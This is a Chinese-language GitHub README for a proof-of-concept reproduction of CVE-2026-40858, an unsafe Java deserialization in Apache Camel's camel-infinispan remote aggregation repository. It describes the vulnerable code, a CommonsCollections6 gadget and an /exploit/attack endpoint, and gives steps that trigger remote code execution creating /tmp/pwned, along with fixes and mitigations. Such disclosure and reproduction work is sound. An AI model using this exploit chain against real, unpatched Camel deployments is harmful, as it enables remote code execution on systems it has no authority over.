oscerd/CVE-2026-40858
GitHub: oscerd/CVE-2026-40858
CVE-2026-40858 复现项目,演示 Apache Camel camel-infinispan 远程聚合仓库因缺乏反序列化过滤而导致的 RCE 漏洞。
Stars: 1 | Forks: 0
# camel-infinispan 远程聚合仓库不安全反序列化复现 (CVE-2026-40858)
本项目演示了 Apache Camel 的 `camel-infinispan`
组件中的一个 **Java 反序列化漏洞**,追踪编号为 **CVE-2026-40858**。基于 ProtoStream 的 **远程聚合仓库**
会将每个聚合的 `Exchange` 序列化到远程 Infinispan 缓存中,并且当它读回条目时
(在 `get()` / `recover()` 时),会使用 `java.io.ObjectInputStream` 反序列化它,并且**没有使用
`ObjectInputFilter`**。能够写入后端缓存的攻击者可以植入一个精心构造的序列化
对象,并在仓库下次读取该 key 时获得**远程代码执行**。
安全通告:https://camel.apache.org/security/CVE-2026-40858.html
## 漏洞概述
| 属性 | 值 |
|----------|-------|
| **组件** | `camel-infinispan` (远程 / HotRod 聚合仓库) |
| **受影响的类** | `org.apache.camel.component.infinispan.remote.DefaultExchangeHolderProtoAdapter` → `DefaultExchangeHolderUtils.deserialize(byte[])` |
| **CWE** | CWE-502: Deserialization of Untrusted Data |
| **影响** | 远程代码执行 (RCE) |
| **受影响版本** | 从 4.0.0 到 4.14.7 之前,从 4.15.0 到 4.18.2 之前,从 4.19.0 到 4.20.0 之前 |
| **已修复版本** | 4.14.7, 4.18.2, 4.20.0 |
| **JIRA** | CAMEL-23322 |
| **报告者** | Feng Ning (Innora Pte. Ltd.) |
## 技术细节
`InfinispanRemoteAggregationRepository` 将每个 `Exchange` 存储为 `DefaultExchangeHolder`。使用
ProtoStream marshaller 时,该 holder 由 `DefaultExchangeHolderProtoAdapter` 适配,其 ProtoStream
字段 #1 是使用普通 `ObjectOutputStream` 序列化的 holder。在读取回来时,adapter
通过将这些字节传递给 `DefaultExchangeHolderUtils.deserialize` 来重建 holder:
```
// DefaultExchangeHolderUtils.deserialize(byte[]) - affected version
static DefaultExchangeHolder deserialize(byte[] bytes) throws IOException, ClassNotFoundException {
ByteArrayInputStream bais = new ByteArrayInputStream(bytes);
ClassLoadingAwareObjectInputStream ois = new ClassLoadingAwareObjectInputStream(bais);
return (DefaultExchangeHolder) ois.readObject(); // NO ObjectInputFilter
}
```
`ClassLoadingAwareObjectInputStream` 扩大而不是限制了可解析类的集合,因此
`readObject()` 将实例化 classpath 上存在的任何 gadget chain。由于字节直接来自
远程缓存,**任何能够写入该缓存 key 的人都可以控制反序列化
流** —— 并且 gadget 在 `readObject()` 期间触发,早于该值被强制转换为
`DefaultExchangeHolder`。
## 受害者配置
一个路由(或者像这里一样,应用程序代码)使用由 Infinispan
服务器支持的远程聚合仓库:
```
InfinispanRemoteConfiguration conf = new InfinispanRemoteConfiguration();
conf.setCacheContainerConfiguration(hotRodClientConfig); // points at the Infinispan server
InfinispanRemoteAggregationRepository repo =
new InfinispanRemoteAggregationRepository("camel-aggregation");
repo.setConfiguration(conf);
repo.setCamelContext(camelContext);
repo.start();
// ... during aggregation Camel calls repo.add(...) / repo.get(...) / repo.recover(...)
```
对存储值被篡改的 key 进行任何 `get()` / `recover()` 都会触发接收端。
## 仓库布局 — 漏洞代码运行的位置
**易受攻击的 Camel 代码在应用程序中运行**(在主机上);**Infinispan 服务器在
Docker 中运行**,作为仓库与之通信的后端存储。这反映了仓库在实际中的部署方式:
不受信任的数据存在于共享缓存中。
```
CVE-2026-40858/
├── pom.xml # camel-infinispan 4.18.1 + commons-collections 3.2.1 (gadget)
├── docker-compose.yml # quay.io/infinispan/server:16.1 (the remote cache)
├── README.md
└── src/main/
├── java/com/example/
│ ├── Application.java
│ ├── InfinispanRepoService.java # builds + starts InfinispanRemoteAggregationRepository
│ ├── Gadget.java # CommonsCollections6 gadget, fired during readObject()
│ └── ExploitController.java # /exploit/attack: plants a gadget-bodied holder, then reads it
└── resources/
└── application.properties
```
## 前置条件
- Java 17+ 和 Maven 3.8+
- Docker(运行 Infinispan 服务器)
## 复现步骤
### 步骤 1:启动 Infinispan 服务器
```
docker compose up -d
# 等待直到就绪:
curl -s -o /dev/null -w "%{http_code}\n" --retry-connrefused --retry 60 --retry-delay 1 \
http://localhost:11222/rest/v2/cache-managers/default/health/status # -> 200
```
### 步骤 2:构建并运行易受攻击的应用程序
CommonsCollections6 gadget 通过反射动态组装到 `java.util` 中,因此 JVM 必须
使用 `--add-opens java.base/java.util=ALL-UNNAMED` 启动:
```
mvn clean package -DskipTests
java --add-opens java.base/java.util=ALL-UNNAMED \
-jar target/cve-2026-40858-infinispan-0.0.1-SNAPSHOT.jar
```
### 步骤 3:触发反序列化 (RCE)
```
curl -s http://localhost:8080/exploit/attack
# -> repo.get() 返回:Exchange[...]
# # >>> RCE proof — /tmp/pwned 存在:true
```
`/tmp/pwned` 是在仓库反序列化植入的
缓存值时,由 gadget(`touch /tmp/pwned`)创建的。
### 清理
```
docker compose down
rm -f /tmp/pwned
```
## 攻击向量
任何使用 `InfinispanRemoteAggregationRepository`(ProtoStream marshalling)针对
攻击者可写入的缓存的部署。缓存写入权限可能来自共享/多租户 Infinispan
集群、网络可访问的 HotRod endpoint,或者任何其他将数据放入同一缓存的生产者。
## 利用条件
1. camel-infinispan **远程**聚合仓库从攻击者可写入的缓存中读取。
2. **classpath 上存在 gadget 库**(此处为 `commons-collections:3.2.1`)。
## 推荐修复
升级到 **4.14.7 / 4.18.2 / 4.20.0**。该修复对
holder 反序列化应用了 `ObjectInputFilter` / 类白名单,这与应用于其他 Camel 聚合仓库
(camel-leveldb, camel-cassandraql, camel-jms)以及 camel-mina / camel-netty 的强化措施相匹配。
## 缓解措施
在升级之前:
1. 将 Infinispan 缓存视为信任边界 —— 限制谁可以写入聚合缓存。
2. **从 classpath 中移除 gadget 库**(升级/移除 commons-collections 3.x 及类似库)。
3. 将 Infinispan HotRod endpoint 保持在启用了身份验证的受信任网络上。
## 免责声明
此复现项目仅用于**安全研究和授权测试**,针对的是**已公开
披露并已修复的**漏洞。未经明确许可,请勿将其用于系统。
标签:Apache Camel, Java反序列化, JS文件枚举, Maven, 域名枚举, 漏洞复现, 漏洞验证, 编程工具, 请求拦截, 远程代码执行